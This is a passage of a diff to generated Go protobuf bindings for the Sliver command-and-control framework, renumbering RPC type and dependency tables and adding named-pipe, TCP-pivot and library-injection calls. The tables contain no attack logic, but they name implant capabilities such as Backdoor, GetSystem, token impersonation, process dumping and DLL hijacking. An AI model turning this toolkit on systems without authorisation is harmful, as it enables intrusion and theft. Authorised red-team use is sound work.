0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
|
||||
0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
|
||||
0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
|
||||
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
|
||||
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
|
||||
0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
|
||||
0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
@@ -506,9 +507,9 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.SideloadReq)(nil), // 47: sliverpb.SideloadReq
|
||||
(*sliverpb.InvokeSpawnDllReq)(nil), // 48: sliverpb.InvokeSpawnDllReq
|
||||
(*sliverpb.ScreenshotReq)(nil), // 49: sliverpb.ScreenshotReq
|
||||
(*sliverpb.PivotStartListenerReq)(nil), // 50: sliverpb.PivotStartListenerReq
|
||||
(*sliverpb.PivotStopListenerReq)(nil), // 51: sliverpb.PivotStopListenerReq
|
||||
(*sliverpb.PivotListenersReq)(nil), // 52: sliverpb.PivotListenersReq
|
||||
(*sliverpb.NamedPipesReq)(nil), // 50: sliverpb.NamedPipesReq
|
||||
(*sliverpb.TCPPivotReq)(nil), // 51: sliverpb.TCPPivotReq
|
||||
(*sliverpb.PivotListReq)(nil), // 52: sliverpb.PivotListReq
|
||||
(*sliverpb.StartServiceReq)(nil), // 53: sliverpb.StartServiceReq
|
||||
(*sliverpb.StopServiceReq)(nil), // 54: sliverpb.StopServiceReq
|
||||
(*sliverpb.RemoveServiceReq)(nil), // 55: sliverpb.RemoveServiceReq
|
||||
@@ -525,96 +526,99 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.SSHCommandReq)(nil), // 66: sliverpb.SSHCommandReq
|
||||
(*clientpb.DllHijackReq)(nil), // 67: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 68: sliverpb.GetPrivsReq
|
||||
(*sliverpb.OpenSession)(nil), // 69: sliverpb.OpenSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 70: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 71: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 72: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 73: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 74: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 75: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 76: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 77: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 78: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 79: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 80: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 81: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 82: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 83: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 84: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 85: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 86: clientpb.Operators
|
||||
(*clientpb.Sessions)(nil), // 87: clientpb.Sessions
|
||||
(*clientpb.Session)(nil), // 88: clientpb.Session
|
||||
(*clientpb.Beacons)(nil), // 89: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 90: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 91: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 92: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 93: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 94: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 95: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 96: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 97: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 98: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 99: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 100: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 101: clientpb.Generate
|
||||
(*clientpb.ImplantBuilds)(nil), // 102: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 103: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 104: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 105: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 106: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 107: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 108: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 109: clientpb.Compiler
|
||||
(*clientpb.Websites)(nil), // 110: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 111: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 112: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 113: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 114: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 115: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 116: sliverpb.Pwd
|
||||
(*sliverpb.Rm)(nil), // 117: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 118: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 119: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 120: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 121: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 122: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 123: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 124: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 125: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 126: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 127: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 128: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 129: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 130: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 131: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 132: sliverpb.Screenshot
|
||||
(*sliverpb.PivotListener)(nil), // 133: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 134: sliverpb.PivotListeners
|
||||
(*sliverpb.ServiceInfo)(nil), // 135: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 136: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 137: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 138: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 139: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 140: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 141: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 142: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 143: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 144: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 145: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 146: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 147: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 148: sliverpb.GetPrivs
|
||||
(*sliverpb.RegisterExtension)(nil), // 149: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 150: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 151: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 152: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 153: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 154: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 155: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 156: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 157: sliverpb.Portfwd
|
||||
(*clientpb.Event)(nil), // 158: clientpb.Event
|
||||
(*sliverpb.LibInjectReq)(nil), // 69: sliverpb.LibInjectReq
|
||||
(*sliverpb.OpenSession)(nil), // 70: sliverpb.OpenSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 71: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 72: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 73: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 74: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 75: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 76: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 77: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 78: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 79: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 80: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 81: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 82: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 83: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 84: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 85: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 86: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 87: clientpb.Operators
|
||||
(*clientpb.Sessions)(nil), // 88: clientpb.Sessions
|
||||
(*clientpb.Session)(nil), // 89: clientpb.Session
|
||||
(*clientpb.Beacons)(nil), // 90: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 91: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 92: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 93: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 94: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 95: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 96: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 97: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 98: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 99: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 100: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 101: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 102: clientpb.Generate
|
||||
(*clientpb.ImplantBuilds)(nil), // 103: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 104: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 105: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 106: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 107: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 108: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 109: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 110: clientpb.Compiler
|
||||
(*clientpb.Websites)(nil), // 111: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 112: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 113: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 114: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 115: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 116: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 117: sliverpb.Pwd
|
||||
(*sliverpb.Rm)(nil), // 118: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 119: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 120: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 121: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 122: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 123: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 124: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 125: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 126: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 127: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 128: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 129: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 130: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 131: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 132: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 133: sliverpb.Screenshot
|
||||
(*sliverpb.NamedPipes)(nil), // 134: sliverpb.NamedPipes
|
||||
(*sliverpb.TCPPivot)(nil), // 135: sliverpb.TCPPivot
|
||||
(*sliverpb.PivotList)(nil), // 136: sliverpb.PivotList
|
||||
(*sliverpb.ServiceInfo)(nil), // 137: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 138: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 139: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 140: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 141: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 142: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 143: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 144: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 145: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 146: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 147: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 148: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 149: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 150: sliverpb.GetPrivs
|
||||
(*sliverpb.LibInject)(nil), // 151: sliverpb.LibInject
|
||||
(*sliverpb.RegisterExtension)(nil), // 152: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 153: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 154: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 155: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 156: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 157: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 158: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 159: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 160: sliverpb.Portfwd
|
||||
(*clientpb.Event)(nil), // 161: clientpb.Event
|
||||
}
|
||||
var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
|
||||
@@ -694,9 +698,9 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
47, // 74: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
|
||||
48, // 75: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
|
||||
49, // 76: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
50, // 77: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
51, // 78: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
52, // 79: rpcpb.SliverRPC.PivotListeners:input_type -> sliverpb.PivotListenersReq
|
||||
50, // 77: rpcpb.SliverRPC.NamedPipes:input_type -> sliverpb.NamedPipesReq
|
||||
51, // 78: rpcpb.SliverRPC.TCPListener:input_type -> sliverpb.TCPPivotReq
|
||||
52, // 79: rpcpb.SliverRPC.ListPivots:input_type -> sliverpb.PivotListReq
|
||||
53, // 80: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
54, // 81: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
55, // 82: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
@@ -713,142 +717,144 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
66, // 93: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
67, // 94: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
68, // 95: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
69, // 96: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
70, // 97: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
71, // 98: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
72, // 99: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
73, // 100: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
74, // 101: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
75, // 102: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
76, // 103: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
77, // 104: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
78, // 105: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
79, // 106: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
80, // 107: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
81, // 108: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
81, // 109: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
82, // 110: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
83, // 111: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
83, // 112: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
84, // 113: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 114: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
85, // 115: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
86, // 116: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 117: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
87, // 118: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
88, // 119: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
|
||||
89, // 120: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
3, // 121: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 122: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
90, // 123: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
4, // 124: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
91, // 125: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 126: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
92, // 127: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
93, // 128: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
94, // 129: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
95, // 130: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
96, // 131: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
97, // 132: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
97, // 133: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
98, // 134: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
98, // 135: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
11, // 136: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 137: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
11, // 138: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
11, // 139: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
99, // 140: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
99, // 141: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
100, // 142: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
12, // 143: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 144: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 145: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
101, // 146: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
101, // 147: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
102, // 148: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 149: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
103, // 150: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
104, // 151: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
105, // 152: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
106, // 153: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 154: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
17, // 155: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
107, // 156: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
108, // 157: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
109, // 158: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
110, // 159: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
20, // 160: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 161: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
20, // 162: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
20, // 163: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
20, // 164: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
23, // 165: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
111, // 166: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
112, // 167: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
113, // 168: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
114, // 169: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
115, // 170: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
116, // 171: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
116, // 172: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
117, // 173: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
118, // 174: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
119, // 175: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
120, // 176: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
121, // 177: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
122, // 178: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
123, // 179: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
124, // 180: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
125, // 181: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
126, // 182: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
126, // 183: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
126, // 184: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
127, // 185: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
128, // 186: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
129, // 187: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
129, // 188: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
|
||||
130, // 189: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
131, // 190: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
132, // 191: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
133, // 192: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 193: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
134, // 194: rpcpb.SliverRPC.PivotListeners:output_type -> sliverpb.PivotListeners
|
||||
135, // 195: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
135, // 196: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
135, // 197: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
136, // 198: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
137, // 199: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
138, // 200: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
139, // 201: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
140, // 202: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
